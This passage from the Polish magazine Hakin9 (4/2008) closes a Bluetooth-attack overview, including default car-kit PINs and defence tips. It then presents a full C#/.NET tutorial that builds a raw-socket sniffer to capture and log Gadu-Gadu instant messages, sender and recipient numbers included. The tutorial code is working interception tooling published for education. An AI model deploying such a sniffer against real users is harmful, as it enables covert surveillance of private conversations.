węzeł Master pikosieci obsługuje
wielokrotne połączenia, które mogą
posłużyć do utworzenia rozszerzonej
sieci (scatternet). Agresor przedstawia
się adresem losowego wybranego
urządzenia będącego składnikiem
pikosieci i łączy się z jednostką

nadrzędną, co prowadzi do zakłócenia
funkcjonowania sieci.

BlueJack

BlueJack ma na celu nie tyle samo
przejmowanie kontroli nad atakowanym
urządzeniem, co wykorzystywanie
urządzeń Bluetooth znajdujących się
w pobliżu w celu przesyłania do nich
wiadomości w postaci wizytówek.
Wizytówki takie najczęściej zawierają
różnego rodzaju teksty, które u
nieświadomych odbiorców mogą
powodować konsternację.

Car Whisperer

Car Whisperer dotyczy urządzeń
Bluetooth coraz częściej montowanych
w samochodach i służących do
podłączania telefonów komórkowych lub
elementów car-audio. Doświadczenia
przeprowadzone przez specjalistów z
trifinite.group pokazały, że możliwe jest
podsłuchiwanie rozmów prowadzonych
w samochodzie. Atak Car Whisperer
umożliwia odbieranie sygnału z
mikrofonów oraz wysyłanie dźwięków do
instalacji głośnikowej. Jest to możliwe
dzięki temu, że urządzenia Bluetooth
zainstalowane w samochodzie do
parowania z innymi urządzeniami
wykorzystują 'standardowe' kody PIN,
takie jak:

1234

czy

0000

, a dodatkowo

nie ma możliwości ich modyfikacji.

Konkluzje

Jak podaje firma InsightExpress,
73 procent użytkowników urządzeń
mobilnych takich, jak notebooki,
telefony komórkowe czy PDA nie zna
zasad, jakimi powinni się kierować, aby
ograniczyć ryzyko związane z atakiem
poprzez Bluetooth. Lepsza znajomość
niebezpieczeństw, które czyhają na
użytkowników nowych technologii
bezprzewodowych, powinna ich uczulić
na aspekty bezpieczeństwa i poufności
danych.

Jak chronić się przed atakami Bluetooth

• włącz Bluetooth w Twoim urządzeniu tylko, kiedy jest to konieczne – np. na czas

wysyłania danych czy wymiany wizytówek. W przypadku telefonów zmniejszysz w ten
sposób również pobór energii z baterii,

• zwróć uwagę na aktywność komunikacji interfejsu Bluetooth. Urządzenia w niego

wyposażone maja zazwyczaj diodę koloru niebieskiego, która pulsuje w trakcie trwania
transmisji danych,

• sprawdź, czy Twój telefon komórkowy nie widnieje na liście modeli podatnych na ataki

Bluetooth ; w razie dostępności nowej wersji oprogramowania usuwającego luki w
działaniu Bluetooth, zaktualizuj firmware telefonu,

• odrzucaj próby połączeń do Twojego telefonu czy PDA z nieznanych Ci urządzeń,
• zwróć uwagę na długość i łatwość odgadnięcia PINu podczas procesu parowania

urządzeń,

• nie instaluj w swoim telefonie bądź PDA oprogramowania pochodzącego z nieznanego

czy wątpliwego źródła. Być może zawiera ono złośliwy kod, którego zamiarem jest
umożliwienie nieautoryzowanego dostępu do urządzeń Bluetooth.

W Sieci

• Hacking Bluetooth – http://trifinite.org/Downloads/21c3_Bluetooth_Hacking.pdf,
• Opis technologii Bluetooth – http://pl.wikipedia.org/wiki/Bluetooth,
• Wszystko o Bluejacking – http://www.bluejackq.com/, http://www.bluejacking.pl,
• Opisy ataków, stosowane narzędzia i oprogramowanie – http://trifinite.org.

Marian Witkowski

Jest miłośnikiem oraz entuzjastą wykorzystywania

technologii mobilnych w codziennym zastosowaniu.

W latach 2001-2006 był Dyrektorem Technologii

firmy One-2-One SA, zajmującej się integracją usług

dodanych w telefonii komórkowej. Prowadzi własną firmę

świadczącą usługi informatyczne w zakresie tworzenia

mikroprocesorowych systemów czasu rzeczywistego,

technologii mobilnych oraz układów automatyki.

Kontakt z autorem: mw@it-mobile.net.

background image

36

HAKIN9

ATAK

4/2008

J

edną z metod przechwycenia wiadomości
jest zastosowanie keyloggera. W
numerze styczniowym w artykule C#.NET.

Podsłuchiwanie klawiatury przedstawiony
został projekt podstawowego keyloggera dla
systemu Windows. Takie rozwiązanie daje nam
jednak możliwość odczytania wyłącznie danych
wysyłanych przez klienta komunikatora do serwera.
Aby mieć dostęp do danych zarówno wysyłanych,
jak i odbieranych z serwera, musimy spróbować
przechwycić je z sieci. Komunikacja sieciowa
oparta jest na gniazdach. Gniazdo (ang. socket)
jest abstrakcyjnym dwukierunkowym punktem
końcowym procesu komunikacji. Dwukierunkowość
oznacza możliwość i odbioru, i wysyłania danych.
Pojęcie gniazda wywodzi się od twórców systemu
Berkeley UNIX. Istnieje możliwość utworzenia tzw.
surowych gniazd (ang. raw sockets), dzięki którym
mamy dostęp do całości pakietu danych, tzn. wraz
z nagłówkiem IP, TCP itd. Uzyskujemy w ten sposób
możliwość monitorowania przepływu danych w
sieci. Surowe gniazda są w pełni obsługiwane
przez system Windows XP SP2. Nowy produkt
Microsoftu – Windows Vista – w obecnej wersji
ogranicza ich działanie. Można zadać sobie
pytanie, czy ograniczenia wprowadzone w Windows
Vista są próbą walki z hakerami czy tylko błędem,
który zostanie w przyszłości poprawiony. Zwłaszcza,
iż według nieoficjalnych zapowiedzi developerów
z Redmond, surowe gniazda mają być w pełni
dostępne wraz z nadejściem service packa dla
systemu Windows Vista.

MACIEJ PAKULSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak protokół Gadu-Gadu

obsługuje wysyłanie/odbieranie

wiadomości,

jak działają surowe gniazda

(ang. raw sockets).

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy projektowania

zorientowanego obiektowo,

znać podstawy działania sieci

komputerowych.

Projekt aplikacji przechwytującej

wiadomości komunikatora internetowego
zrealizujemy korzystając z platformy .NET,
która dostarcza wygodnego zbioru typów
pozwalającego w prosty sposób na wykonanie
tego zadania. Jako komunikator wykorzystamy
klienta sieci Gadu-Gadu.

Gadu-Gadu – wysyłanie

i odbieranie wiadomości

Jednym z najpopularniejszych polskich
komunikatorów internetowych jest Gadu-Gadu.
Jest on dostępny na polskim rynku od 2000 roku.
Przez ten czas zyskał sobie wielką popularność i
obecnie posiada liczbę użytkowników szacowaną
na kilka milionów. Wiele innych komunikatorów
umożliwia swoim użytkownikom komunikację nie
tylko z własnymi dedykowanymi serwerami, ale
również z serwerami sieci Gadu-Gadu.

Klient Gadu-Gadu bazuje na protokole TCP/IP.

Połączenie jest realizowane z wykorzystaniem
portu 8074 bądź 443. Dane wysyłane są w
postaci pakietów, rozpoczynających się od
nagłówka, którego postać przedstawia Listing 1.

Pole

type

określa typ wysyłanego pakietu, pole

length

długość pakietu bez nagłówka, wyrażoną

w bajtach. Po nagłówku znajdują się właściwe dane
pakietu.

Gdy klient otrzymuje wiadomość, wówczas

pole

type

przyjmuje wartość 0x0a. Po

nagłówku pakietu wysyłana jest struktura
przedstawiona na Listingu 2.

Stopień trudności

Przejmowanie

wiadomości

Gadu-Gadu

Komunikatory internetowe są jednym z coraz częściej

wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich

pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy

sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie.

Czy jednak możemy być pewni tego, że nikt nas nie podsłuchuje?

background image

37

HAKIN9

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

4/2008

Pole

sender

to numer nadawcy

wiadomości,

seq

jest numerem

sekwencyjnym,

time

czasem nadania

wiadomości,

class

klasą wiadomości,

a

msg

jest wysyłaną wiadomością. Aby

określić długość wiadomości, musimy
od pola

length

nagłówka odjąć ilość

bajtów zajmowaną przez dane pakietu bez
wiadomości (tj. 16 bajtów). Wiadomości
są kodowane przy użyciu strony kodowej
Windows-1250.

Gdy klient chce wysłać wiadomość,

wówczas pole

type

nagłówka przyjmuje

wartość 0x0b. Oprócz nagłówka
wysyłana jest struktura zdefiniowana na
Listingu 3.

Pole

recipient

określa numer

odbiorcy,

seq

jest numerem sekwencyjnym,

class

klasą wiadomości, a

msg

wysyłaną wiadomością.

Protokół IP

Protokół IP wykorzystuje się do
sortowania oraz dostarczania pakietów.
Pakiety zwane są datagramami. Każdy
taki datagram składa się z nagłówka

oraz ładunku, zawierającego przeważnie
pakiet innego protokołu. Obecnie używa
się protokołu IP w wersji 4.

W nagłówku datagramu IPv4 możemy

wyróżnić następujące pola:

Version – wersja protokołu,
IHL (Internet Header Length) – długość

nagłówka, wyrażona jako ilość 32-
bitowych słów,

TOS (Type of Service) – typ obsługi

określający sposób, w jaki powinien być
obsłużony pakiet,

Total Length – całkowita długość

datagramu IP w bajtach,

Identification – identyfikuje określony

datagram IP,

Flags – pole to zawiera 3 bity, jednak

wykorzystuje się tylko dwa spośród
nich. Jedna z flag określa, czy pakiet
może być fragmentowany, druga zaś
– czy jest to już końcowy fragment
w datagramie, czy może jest jednak
więcej fragmentów,

Fragment Offset – określa pozycję

fragmentu w stosunku do
oryginalnego ładunku IP,

TTL (Time to Live) – określa czas

(w sekundach), przez jaki datagram
pozostanie w sieci, zanim zostanie
odrzucony,

Protocol – określa typ protokołu

będącego ładunkiem datagramu IP,

Header Checksum – suma kontrolna

nagłówka, wykorzystywana w celu
sprawdzenia jego poprawności,

Source IP Address – źródłowy adres IP,
Destination IP Address – docelowy

adres IP.

Protokół TCP

Protokół TCP jest jednym z najczęściej
używanych protokołów komunikacyjnych
w sieciach komputerowych. Jest to
protokół połączeniowy, w którym to przed
rozpoczęciem komunikacji wymagane
jest zainicjowanie połączenia przez jedną
ze stron. Dane przesyłane są w postaci
segmentów składających się każdorazowo
z nagłówka oraz danych.

Nagłówek TCP możemy podzielić na

następujące pola:

Source Port – port źródłowy,
Destination Port – port docelowy,
Sequence Number – służy do

identyfikacji pierwszego bajtu danych
w danym segmencie,

Acknowledgment Number

– określa numer sekwencyjny bajtu
oczekiwanego przez nadawcę,

Data Offset – długość nagłówka

mierzona jako ilość 32-bitowych
słów,

Reserved – pole zarezerwowane do

przyszłego wykorzystania,

Rysunek 1.

Nagłówek IPv4

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Version

IHL

TOS

Total Length

Identification

Flags

Fragment Offset

TTL

Protocol

Header Checksum

Source IP Address

Destination IP Address

Options and Padding

Listing 1.

Nagłówek pakietu Gadu-

Gadu

struct

GGHeader

{

int

type

;

int

length

;

}

;

Listing 2.

Struktura reprezentująca

wiadomość odbieraną przez klienta

Gadu-Gadu

struct

RecvMsg

{

int

sender

;

int

seq

;

int

time

;

int

class

;

string

msg

;

}

;

Listing 3.

Struktura reprezentująca

wiadomość wysyłaną przez klienta

Gadu-Gadu

struct

SendMsg

{

int

recipient

;

int

seq

;

int

class

;

string

msg

;

}

;

background image

ATAK

38

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

39

HAKIN9

4/2008

Flags – flagi zawierające informację

o przeznaczeniu segmentu,

Window – określa ilość danych, jaką

nadawca jest gotów przyjąć,

Checksum – suma kontrolna

wykorzystywana do sprawdzenia
poprawności transmisji,

Urgent Pointer – pole

wykorzystywane do wyróżnienia
szczególnie ważnych wiadomości.

Tworzymy klasę

przechwytującą pakiety GG

Projekt aplikacji umożliwiającej
przechwytywanie pakietów Gadu-Gadu
stworzymy używając języka C# oraz
darmowego środowiska Visual C# 2005
Express Edition. Rozpoczynamy od
stworzenia nowego projektu Windows
Forms
. Do projektu dodajemy nową klasę
i nadajemy jej nazwę

IPHeader

. Klasa

ta będzie reprezentować nagłówek IP.
Najpierw dodamy odpowiednie pola do
naszej klasy (Listing 4).

Pola klasy, oprócz dwóch ostatnich, są

polami nagłówka IP. Pole

headerLength

to całkowita długość nagłówka IP. Tablica

ipData

jest ładunkiem datagramu IP.

Możemy teraz przejść do napisania

konstruktora klasy. Będzie on pobierał dwa
parametry: tablicę przechwyconych bajtów
oraz ich ilość. Dodajemy kod z Listingu 5.

Na początku tworzymy strumień

poprzez stworzenie nowego obiektu
klasy

MemoryStream

z przestrzeni nazw

System.IO

. Przeciążony konstruktor tej

klasy wymaga następujących parametrów:
tablicy bajtów, z której chcemy utworzyć
strumień, pozycji w tablicy, od której zacznie
się tworzenie strumienia, a także długości
strumienia. Następnie tworzymy obiekt
klasy

BinaryReader

, dzięki któremu

możliwe jest odczytanie typów prostych ze
strumienia. Konstruktor przyjmuje referencję
do strumienia, z którego chcemy czytać.
Możemy teraz odczytać interesujące
nas dane. Warto tu zwrócić uwagę na
dwie rzeczy. Metody odczytujące z klasy

BinaryReader

automatycznie zmieniają

pozycję w strumieniu po wykonaniu operacji
odczytu, a dane odebrane z sieci zapisane
są w kolejności big endian (najbardziej
znaczący bajt jest umieszczany jako
pierwszy), podczas gdy na komputerach
PC dane są przeważnie zapisywane w
kolejności little endian (najmniej znaczący
bajt umieszczany jest jako pierwszy). W
związku z tym, aby zmienić kolejność
bajtów, wykorzystujemy statyczną metodę

NetworkToHostOrder

klasy

IPAddress

.

Aby móc jej użyć, musimy dodać przestrzeń
nazw

System.Net

. Następnie odczytujemy

długość odebranego nagłówka IP. Jest
ona zapisana jako ilość 4-bajtowych słów

Listing 4.

Pola klasy IPHeader

private

byte

versionAndHeaderLength

;

private

byte

typeOfService

;

private

ushort

totalLenth

;

private

ushort

identification

;

private

ushort

flagsAndOffset

;

private

byte

tTL

;

private

byte

protocolType

;

private

short

checkSum

;

private

uint

sourceAddress

;

private

uint

destinationAddress

;

private

byte

headerLength

;

private

byte

[]

ipData

=

new

byte

[

4096

];

Listing 5.

Konstruktor klasy IPHeader

public

IPHeader

(

byte

[]

dataReceived

,

int

received

)

{

try

{

MemoryStream

sm

=

new

MemoryStream

(

dataReceived

,

0

,

received

);

BinaryReader

br

=

new

BinaryReader

(

sm

);

versionAndHeaderLength

=

br

.

ReadByte

();

typeOfService

=

br

.

ReadByte

();

totalLenth

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

identification

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

flagsAndOffset

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

tTL

=

br

.

ReadByte

();

protocolType

=

br

.

ReadByte

();

checkSum

=

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

sourceAddress

=

(

uint

)(

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

()));

destinationAddress

=

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

headerLength

=

versionAndHeaderLength

;

headerLength

=

(

byte

)((

headerLength

&

0x0f

)

*

4

);

Array

.

Copy

(

dataReceived

,

headerLength

,

ipData

,

0

,

totalLenth

-

headerLength

);

}

catch

(

Exception

exc

)

{}

}

Listing 6.

Właściwości klasy IPHeader

public

byte

[]

Data

{

get

{

return

ipData

;

}

}

public

EProtocolType

TypeOfProtocol

{

get

{

if

(

protocolType

==

6

)

return

EProtocolType

.

TCP

;

return

EProtocolType

.

OTHER

;

}

}

public

int

MessageLength

{

get

{

return

totalLenth

-

headerLength

;

}

}

background image

ATAK

38

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

39

HAKIN9

4/2008

i znajduje się w młodszej części bajtu

versionAndHeaderLength

. Aby nie utracić

danych z tej zmiennej, wykorzystujemy
pomocniczą zmienną

headerLength

.

Wykonujemy operację AND, aby wyzerować
starszą część bajtu oraz mnożymy
uzyskaną wielkość przez 4 w celu uzyskania
właściwej długości nagłówka. Wartość tę
wykorzystujemy do określenia ilości bajtów
zajmowanych przez ładunek w datagramie
IP. Używając statycznej metody

Copy

klasy

Array

, kopiujemy te dane do wcześniej

zadeklarowanej tablicy, którą wykorzystamy
do odczytu danych segmentu TCP.

Ostatnim krokiem jest zdefiniowanie

właściwości. Nie będziemy jednak robić
tego dla każdego pola naszej klasy, lecz
wyłącznie dla tych wykorzystywanych przy
analizie segmentu TCP. Dodajemy kod z
Listingu 6.

Dodatkowo zdefiniowaliśmy typ

wyliczeniowy z Listingu 7., który należy
dodać przed definicją klasy. Służy on do
określenia typu protokołu, którego pakiet
jest ładunkiem w datagramie IP. Dla nas
interesujący jest tylko protokół TCP, tak więc
typ wyliczeniowy zawiera tylko dwa pola:

TCP

(dla protokołu TCP) oraz

OTHER

(dla

innego typu protokołu).

Przystępujemy teraz do napisania klasy

reprezentującej nagłówek TCP. Dodajemy
nowa klasę i nadajemy jej nazwę

TCPHeader

. Zaczniemy od dodania pól do

naszej klasy – dopisujemy kod z Listingu 8.

Pola klasy, z wyjątkiem dwóch ostatnich,

to pola nagłówka TCP,

headerLength

jest

długością nagłówka w bajtach, a tablica

tcpData

to dane segmentu.

Przechodzimy teraz do zdefiniowania

konstruktora dla naszej klasy. Podbiera on
dwa parametry: tablicę bajtów, będącą
ładunkiem datagramu IP, oraz ich ilość.
Dodajemy kod z Listingu 9.

Na początku tworzymy obiekty

MemoryStream

oraz

BinaryReader

,

wykorzystywane do odczytu
poszczególnych pól nagłówka TCP.
Następnie odczytujemy długość nagłówka.
Jest ona zapisana – ponownie jako ilość
4-bajtowych słów – w 4 najstarszych bitach
zmiennej

flagsAndOffset

. Wykonujemy

więc przesunięcie o 12 pozycji w lewo
oraz mnożymy otrzymaną wartość przez
4 w celu uzyskania właściwej ilości bajtów
zajmowanych przez nagłówek TCP. Długość
tę wykorzystujemy do określenia miejsca
początku danych segmentu.

Na końcu dodajemy właściwości dla

wybranych pól naszej klasy, dopisując kod
z Listingu 10.

Po utworzeniu klas opisujących

nagłówki IP oraz TCP, przystępujemy do
zdefiniowania klasy przechwytującej dane
z sieci. Tworzymy nową klasę i nadajemy
jej nazwę

GGListener

. Pierwszym krokiem

powinno być dodanie niezbędnych
przestrzeni nazw:

System.Net

,

System.Net.Sockets

,

System.IO

,

System.Text

. Do klasy dodajemy pola z

Listingu 11.

Pola

ipHeader

oraz

tcpHeader

odpowiednio referencjami do obiektów

IPHeader

oraz

TCPHeader

. Pole

s

jest

obiektem klasy

Socket

, reprezentującej

gniazdo. Pole

filePath

jest ścieżką do

pliku, w którym będziemy zapisywali
przechwycone wiadomości Gadu-Gadu.

Możemy teraz przejść do napisania

metod naszej klasy. Przedstawia je kod z
Listingu 12.

Pierwsza metoda – konstruktor

– jako parametr przyjmuje ścieżkę do
pliku, w którym zapiszemy przechwycone
wiadomości. Metoda

IsGGPort

sprawdza, czy numer portu, określony
przekazywanym do niej parametrem, jest
numerem portu Gadu-Gadu. Za pomocą
metody

MachineAddress

uzyskujemy

referencję do obiektu klasy

IPAddress

reprezentującej adres IP. Sercem klasy
jest metoda

StartToListen

, za pomocą

której rozpoczynamy przechwytywanie
danych. Na początku tworzymy nowy obiekt
klasy

Socket

. Konstruktor klasy przyjmuje

następujące parametry:

• typ wyliczeniowy

AddressFamily

reprezentuje rodzinę protokołów
do obsługi gniazda – każda stała,
przechowywana przez ten typ
wyliczeniowy, określa sposób, w jaki
klasa

Socket

będzie określała adres.

InterNetwork

określa użycie adresu

IP w wersji 4,

• typ wyliczeniowy

SocketType

,

określający typ gniazda,

• typ wyliczeniowy

ProtocolType

,

określający typ protokołu.

Listing 9.

Konstruktor klasy TCPHeader

public

TCPHeader

(

byte

[]

data

,

int

received

)

{

try

{

MemoryStream

sm

=

new

MemoryStream

(

data

,

0

,

received

);

BinaryReader

br

=

new

BinaryReader

(

sm

);

sourcePort

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

destinationPort

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

sequenceNumber

=

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

acknowledgmentNumber

=

(

uint

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt32

());

dataOffsetAndFlags

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

window

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

checkSum

=

(

short

)(

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

()));

urgentPointer

=

(

ushort

)

IPAddress

.

NetworkToHostOrder

(

br

.

ReadInt16

());

headerLength

=

(

byte

)(

dataOffsetAndFlags

>>

12

);

headerLength

*=

4

;

Array

.

Copy

(

data

,

headerLength

,

tcpData

,

0

,

received

-

headerLength

);

}

catch

(

Exception

exc

)

{}

}

Listing 7.

Typ wyliczeniowy

EProtocolType

enum

EProtocolType

{

TCP

,

OTHER

}

Listing 8.

Pola klasy TCPHeader

private

ushort

sourcePort

;

private

ushort

destinationPort

;

private

uint

sequenceNumber

;

private

uint

acknowledgmentNumber

;

private

ushort

dataOffsetAndFlags

;

private

ushort

window

;

private

short

checkSum

;

private

ushort

urgentPointer

;

private

byte

headerLength

;

private

byte

[]

tcpData

=

new

byte

[

4096

];

background image

ATAK

40

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

41

HAKIN9

4/2008

Po stworzeniu gniazda musimy je
powiązać z pulą adresów uwzględnianych
przy nasłuchu. Służy do tego metoda

Bind

. Jako parametr przyjmuje ona

referencję do obiektu klasy

EndPoint

.

Jednakże klasa ta jest abstrakcyjna,
tak więc musimy skorzystać z jednej z
klas pochodnych. Tworzymy więc nowy
obiekt klasy

IPEndPoint

. Konstruktor

tej klasy wymaga dwóch parametrów:
referencji do obiektu klasy

IPAddress

uzyskiwanej przez wywołanie wcześniej
zdefiniowanej metody

MachineAddress

oraz numeru portu (dla surowych
gniazd ustawiamy wartość 0, gdyż nie
korzystają one z portów). Następnym
krokiem jest określenie trybu operacji
niskopoziomowych wykonywanych przez
gniazdo poprzez wywołanie metody

IOControl

. Metoda ta przyjmuje 3

parametry:

• typ wyliczeniowy

IOControlCode

,

określający kod kontrolny operacji do
wykonania. Stała

ReceiveAll

oznacza,

że będą odbierane wszystkie pakiety
IPv4,

• tablicę bajtów z parametrami

wejściowymi. Zgodnie z dokumentacją
Platform SDK ten parametr powinien
być typu

BOOL

(4 bajty) i mieć wartość

TRUE

– tak więc przekazujemy tablicę {

1, 0, 0, 0 },

• tablicę bajtów z danymi wyjściowymi.

Metoda ta jest analogiczna do funkcji
WinApi

WSAIoctl

.

Następnie rozpoczynamy

asynchroniczne odbieranie danych
poprzez wywołanie metody

BeginReceive

,

przyjmującej następujące parametry:

• tablicę bajtów, w której zostaną

umieszczone odebrane dane,

• indeks tablicy, od którego rozpocznie

się zapisywanie danych w tablicy,

• ilość bajtów, jaką można maksymalnie

odebrać,

• flagi,
• delegację

AsyncCallback

określającą

metodę, wywoływaną w momencie
ukończenia asynchronicznej operacji,

• obiekt klasy

Object

, dzięki któremu

możemy przekazać dane do metody

wywoływanej po zakończeniu
asynchronicznej operacji.

W naszym projekcie delegacja

AsyncCallback

jest implementowana

przez metodę

AsyncDataReceived

.

Tworzy ona nowy obiekt klasy

IPHeader

i sprawdza, czy ładunek w datagramie
IP zawiera segment TCP. Jeżeli tak
się dzieje, wywoływana jest metoda

SaveInfo

. Na końcu ponownie

rozpoczynamy asynchroniczne
odbieranie danych.

Metoda

SaveInfo

rozpoczyna

działanie od stworzenia nowego
obiektu klasy

TCPHeader

. Następnie

sprawdza, czy port źródłowy bądź port
docelowy są portami Gadu-Gadu. Jeżeli
nie, kończy działanie. W przeciwnym
wypadku następuje sprawdzenie,
czy przechwyciliśmy wychodzącą/
przychodzącą wiadomość, czy też inny
typ pakietu. W przypadku, gdy pakiet
Gadu-Gadu jest wiadomością wysyłaną
do/z klienta Gadu-Gadu, interesujące
nas dane są odczytywane i następnie
zapisywane do pliku.

Gdy nasza klasa jest już gotowa,

Listing 10.

Właściwości klasy

TCPHeader

public

byte

[]

TcpData

{

get

{

return

tcpData

;

}

}

public

ushort

SourcePort

{

get

{

return

sourcePort

;

}

}

public

ushort

DestinationPort

{

get

{

return

destinationPort

;

}

}

Listing 11.

Pola klasy GGListener

private

IPHeader

ipHeader

;

private

TCPHeader

tcpHeader

;

private

byte

[]

data

;

private

Socket

s

;

private string filePath;

Rysunek 2.

Nagłówek TCP

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Urgent Pointer

Reserved

Source Port

Destination Port

Data Offset

Flags

Sequence Number

Acknowledgment Number

Window

Checksum

Options and Padding

W Sieci

http://ekg.chmurka.net/docs/protocol.html – opis protokołu Gadu-Gadu,
http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft, skąd można

pobrać środowisko Visual C# 2005 Express Edition,

http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i

nie tylko. Naprawdę godny polecenia,

http://www.codeguru.pl – polska strona dla programistów .NET,
http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas,

właściwości i metod, jakie zawiera platforma .NET wraz z przykładowymi programami.

background image

ATAK

40

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

41

HAKIN9

4/2008

możemy przejść do widoku formy
i utworzyć nowy obiekt klasy oraz
rozpocząć przechwytywanie danych
wywołując metodę

StartToListen

.

Podsumowanie

Podstawowym celem artykułu było
pokazanie, jak potężnym narzędziem
surowe gniazda i w jak łatwy
sposób pozwalają na przechwytywanie
danych przesyłanych w sieci. W
sposób podobny do prezentowanego

w artykule możemy zaimplementować
aplikacje przechwytujące e-maile,
a także monitorujące adresy
odwiedzanych przez użytkownika stron
internetowych. Hakerzy wykorzystują
je do przeprowadzenia ataków typu
Denial of Service (odmowa usługi) lub IP
address spoofing
(fałszowanie adresu
IP). Jednakże nie wolno zapomnieć
o pozytywnych aspektach użycia
surowych gniazd. Niewątpliwie przydają
się wszędzie tam, gdzie wymagany jest

pełny wgląd do danych przesyłanych
w sieci, np. w celu wysłania/odbioru
niestandardowych pakietów.

Listing 12.

Metody klasy GGListener

//

konstruktor

public

GGListener

(

string

_fileParh

)

{

filePath

=

_fileParh

;

}

private

bool

IsGGPort

(

ushort

port

)

{

return

(

port

==

8074

||

port

==

443

);

}

public

void

StartToListen

()

{

try

{

s

=

new

Socket

(

AddressFamily

.

InterNetwork

,

SocketType

.

Raw

,

ProtocolType

.

IP

);

s

.

Bind

(

new

IPEndPoint

(

MachineAddress

()

,

0

));

byte

[]

optionInValue

=

new

byte

[

4

]

{

1

,

0

,

0

,

0

}

;

byte

[]

optionOutValue

=

new

byte

[

4

];

s

.

IOControl

(

IOControlCode

.

ReceiveAll

,

optionInValue

,

optionOutValue

);

data

=

new

byte

[

4096

];

s

.

BeginReceive

(

data

,

0

,

data

.

Length

,

SocketFlags

.

None

,

new

AsyncCallback

(

AsyncDataReceived

)

,

null

);

}

catch

(

Exception

exc

)

{}

}

private

IPAddress

MachineAddress

()

{

string

hostName

=

Dns

.

GetHostName

();

IPHostEntry

ipHostEntry

=

Dns

.

GetHostByName

(

hostName

);

return

ipHostEntry

.

AddressList

[

0

];

}

private

void

AsyncDataReceived

(

IAsyncResult

result

)

{

try

{

int

nReceived

=

s

.

EndReceive

(

result

);

ipHeader

=

new

IPHeader

(

data

,

nReceived

);

if

(

ipHeader

.

TypeOfProtocol

==

EProtocolType

.

TCP

)

{

SaveInfo

();

}

data

=

new

byte

[

4096

];

s

.

BeginReceive

(

data

,

0

,

data

.

Length

,

SocketFlags

.

None

,

new

AsyncCallback

(

AsyncDataReceived

)

,

null

);

}

catch

(

Exception

exc

)

{}

}

private

void

SaveInfo

()

{

try

{

tcpHeader

=

new

TCPHeader

(

ipHeader

.

Data

,

ipHeader

.

MessageLength

);

if

(!(

IsGGPort

(

tcpHeader

.

DestinationPort

)

||

IsGGPort

(

tc

pHeader

.

SourcePort

)))

return

;

if

(

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpData

,

0

)

==

0x0b

||

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpDa

ta

,

0

)

==

0x0a

)

{

int

nMsgLength

=

BitConverter

.

ToInt32

(

tcpHeader

.

TcpD

ata

,

4

);

int

nStartingByte

=

0

;

if

(!

File

.

Exists

(

filePath

))

using

(

File

.

Create

(

filePath

));

using

(

StreamWriter

sw

=

File

.

AppendText

(

filePath

))

{

string

msgType

=

" "

;

sw

.

Write

(

"

\r\n

++++++++++++++++++++++++++++++++++++

+++++

\r\n

"

);

if

(

tcpHeader

.

DestinationPort

==

8074

||

tcpHeader

.

DestinationPort

==

443

)

{

sw

.

Write

(

"Wiadomość wychodząca

\r\n

"

);

msgType

=

"Numer odbiorcy "

;

nStartingByte

=

20

;

nMsgLength

-=

12

;

}

if

(

tcpHeader

.

SourcePort

==

8074

||

tcpHeader

.

SourcePort

==

443

)

{

sw

.

Write

(

"Wiadomość przychodząca

\r\n

"

);

msgType

=

"Numer nadawcy "

;

nStartingByte

=

24

;

nMsgLength

-=

16

;

}

sw

.

Write

(

"Port źródłowy "

+

tcpHeader

.

SourcePort

+

"

\r\n

"

);

sw

.

Write

(

"Port docelowy "

+

tcpHeader

.

DestinationP

ort

+

"

\r\n

"

);

sw

.

Write

(

msgType

+

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpData

,

8

)

+

"

\r\n

"

);

Encoding

e

=

Encoding

.

GetEncoding

(

"windows-1250"

);

sw

.

Write

(

"Wiadomość "

+

e

.

GetString

(

tcpHeader

.

TcpD

ata

,

nStartingByte

,

nMsgLength

));

}

}

}

catch

(

Exception

exc

)

{}

}

Maciej Pakulski

Absolwent studiów inżynierskich oraz aktywny członek

koła naukowego .NET Wydziału Fizyki, Astronomii i

Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika

w Toruniu. Obecnie na studiach magisterskich.

Programowaniem zajmuje się od 2004. Potrafi

programować biegle w językach C/C++, Java, VHDL.

Programowaniem w języku C# i platformą .NET zajmuje

się od 2006 roku. Jest autorem szeregu publikacji z

zakresu programowania oraz bezpieczeństwa IT.

Kontakt z autorem: mac_pak@interia.pl

background image

42

OBRONA

HAKIN9 4/2008

A

utorzy zagrożeń są twórczy. Kiedyś
